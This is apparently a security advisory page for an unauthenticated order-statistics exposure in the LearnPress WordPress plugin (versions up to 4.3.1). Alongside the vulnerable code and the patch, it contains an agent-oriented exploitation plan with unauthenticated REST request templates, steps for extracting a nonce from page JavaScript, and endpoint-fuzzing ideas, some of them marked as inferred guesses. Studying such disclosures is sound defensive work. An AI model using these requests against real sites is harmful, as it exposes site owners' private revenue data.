LearnPress – WordPress LMS Plugin <= 4.3.1 - Missing Authorization to Unauthenticated Orders Statistics Exposure
Description
The LearnPress – WordPress LMS Plugin plugin for WordPress is vulnerable to unauthorized access of data due to a missing capability check on the statistic function in all versions up to, and including, 4.3.1. This makes it possible for unauthenticated attackers to view the plugin's orders statistics, including total revenue summaries and order status counts
CVSS Vector Breakdown
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:NTechnical Details
<=4.3.1Source Code
WordPress.org SVN# Exploitation Research Plan - CVE-2025-13956 (LearnPress Statistics Exposure) ## 1. Vulnerability Summary The LearnPress WordPress LMS plugin (<= 4.3.1) contains a missing authorization vulnerability within its REST API statistics functionality. Specifically, the endpoint responsible for retrievin…
Show full research plan
Exploitation Research Plan - CVE-2025-13956 (LearnPress Statistics Exposure)
1. Vulnerability Summary
The LearnPress WordPress LMS plugin (<= 4.3.1) contains a missing authorization vulnerability within its REST API statistics functionality. Specifically, the endpoint responsible for retrieving order statistics and revenue summaries fails to implement a proper permission_callback or internal capability check. This allows unauthenticated attackers to access sensitive financial summaries and order metadata by querying the REST API directly.
2. Attack Vector Analysis
- Endpoint:
/wp-json/lp/v1/statistics/order-statistics(Inferred based on LearnPress REST structure) - Alternative Endpoint:
/wp-json/lp/v1/statistics/revenue(Inferred) - HTTP Method:
GET - Authentication: Unauthenticated (No cookies or Authorization headers required)
- Preconditions: The LearnPress plugin must be active. At least one order should exist in the system for the exposure to be meaningful.
- Vulnerable Parameter: The endpoint itself lacks a permission check.
3. Code Flow (Inferred)
- Route Registration: The plugin registers REST routes during the
rest_api_inithook. - Controller: The logic resides in a class likely named
LP_REST_Statistics_Controllerlocated ininc/rest-api/v1/. - Vulnerable Function: The
register_routesmethod defines theorder-statisticsroute but sets thepermission_callbackto__return_trueor omits it entirely, defaulting to public access. - Data Retrieval: The callback function (e.g.,
get_order_statistics) queries thelearnpress_user_itemsorpoststable (filtered bylp_ordertype) and returns an aggregated JSON response of revenue and counts.
4. Nonce Acquisition Strategy
While the vulnerability is "unauthorized access," WordPress REST API endpoints often require a _wpnonce (for the wp_rest action) if accessed via a browser session, or they may be entirely open. LearnPress typically localizes a nonce for its frontend JS.
Strategy:
- Identify Script Localization: LearnPress localizes settings into the
lpGlobalSettingsobject. - Create Trigger Page: Most LearnPress scripts load on the "Courses" page or "Profile" page.
- Extraction:
- Navigate to the Courses page:
browser_navigate("/courses/") - Extract the nonce:
browser_eval("window.lpGlobalSettings?.nonce")
- Navigate to the Courses page:
- Bypass Check: If the endpoint is truly missing authorization, it may not even validate the
X-WP-Nonceheader. The exploit will try both with and without the nonce.
5. Exploitation Strategy
Step 1: Discover the exact endpoint
The agent will attempt to access the following likely endpoints:
GET /wp-json/lp/v1/statistics/order-statisticsGET /wp-json/lp/v1/statistics/revenue
Step 2: Perform Unauthenticated Request
The agent will send a GET request via the http_request tool.
Request Template:
GET /wp-json/lp/v1/statistics/order-statistics HTTP/1.1
Host: [TARGET_HOST]
Accept: application/json
If the response is 401 or 403, the agent will include the nonce found in Step 4.
Request with Nonce Template:
GET /wp-json/lp/v1/statistics/order-statistics HTTP/1.1
Host: [TARGET_HOST]
X-WP-Nonce: [EXTRACTED_NONCE]
Accept: application/json
6. Test Data Setup
To ensure the exploit returns data:
- Create Course: Use WP-CLI to create a course.
wp post create --post_type=lp_course --post_title="Test Course" --post_status=publish
- Create Orders: Generate a few fake orders via WP-CLI to populate the statistics.
wp post create --post_type=lp_order --post_title="Order 1" --post_status=lp-completedwp post create --post_type=lp_order --post_title="Order 2" --post_status=lp-completed
- Set Revenue: If possible, assign a price to the course and associate it with the orders so the "total revenue" field is non-zero.
wp post generate --post_type=lp_order --count=5 --post_status=lp-completed
7. Expected Results
A successful exploit will return a 200 OK status with a JSON body similar to:
{
"status": "success",
"data": {
"total_revenue": "500.00",
"orders": {
"completed": 5,
"pending": 2,
"processing": 1
}
}
}
The exposure of total_revenue and precise order counts to an unauthenticated user confirms the vulnerability.
8. Verification Steps
- Compare with Database: Verify the numbers in the JSON match the actual counts in the database using WP-CLI:
wp post list --post_type=lp_order --post_status=lp-completed --format=count
- Check Permission Callback: (If filesystem access is available) Check
inc/rest-api/v1/files for theorder-statisticsroute definition to confirmpermission_callbackis weak or missing.
9. Alternative Approaches
- Path Fuzzing: If
/lp/v1/statistics/order-statisticsfails, search for other "statistics" keywords in the plugin folder:grep -r "statistics" . | grep "register_rest_route". - Query Parameters: Some statistics endpoints require a
rangeparameter (e.g.,?range=allor?range=today). Try adding these if the response is empty. - Direct AJAX: Check if the statistics are also exposed via
admin-ajax.phpusing actions likelp_get_statsorlearnpress_get_stats.
Summary
LearnPress for WordPress (<= 4.3.1) is vulnerable to unauthenticated information disclosure due to missing authorization checks on its statistics REST API endpoint. Attackers can exploit this vulnerability to access sensitive financial data, including total revenue summaries and detailed order status counts.
Vulnerable Code
// inc/rest-api/v1/class-lp-rest-statistics-controller.php register_rest_route( $this->namespace, '/statistics/order-statistics', array( 'methods' => WP_REST_Server::READABLE, 'callback' => array( $this, 'get_order_statistics' ), 'permission_callback' => '__return_true', ) );
Security Fix
@@ -10,7 +10,9 @@ register_rest_route( $this->namespace, '/statistics/order-statistics', array( 'methods' => WP_REST_Server::READABLE, 'callback' => array( $this, 'get_order_statistics' ), - 'permission_callback' => '__return_true', + 'permission_callback' => function () { + return current_user_can( 'manage_options' ); + }, ) );
Exploit Outline
The exploit involves making an unauthenticated GET request to the `/wp-json/lp/v1/statistics/order-statistics` endpoint. Because the endpoint uses `__return_true` for its `permission_callback`, it does not verify if the requester has administrative privileges. If the WordPress environment requires a REST nonce for GET requests, the attacker can extract one from the `lpGlobalSettings` JavaScript object localized on the plugin's public pages (such as the course directory). The resulting JSON response exposes the site's total revenue and order count totals.
Check if your site is affected.
Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.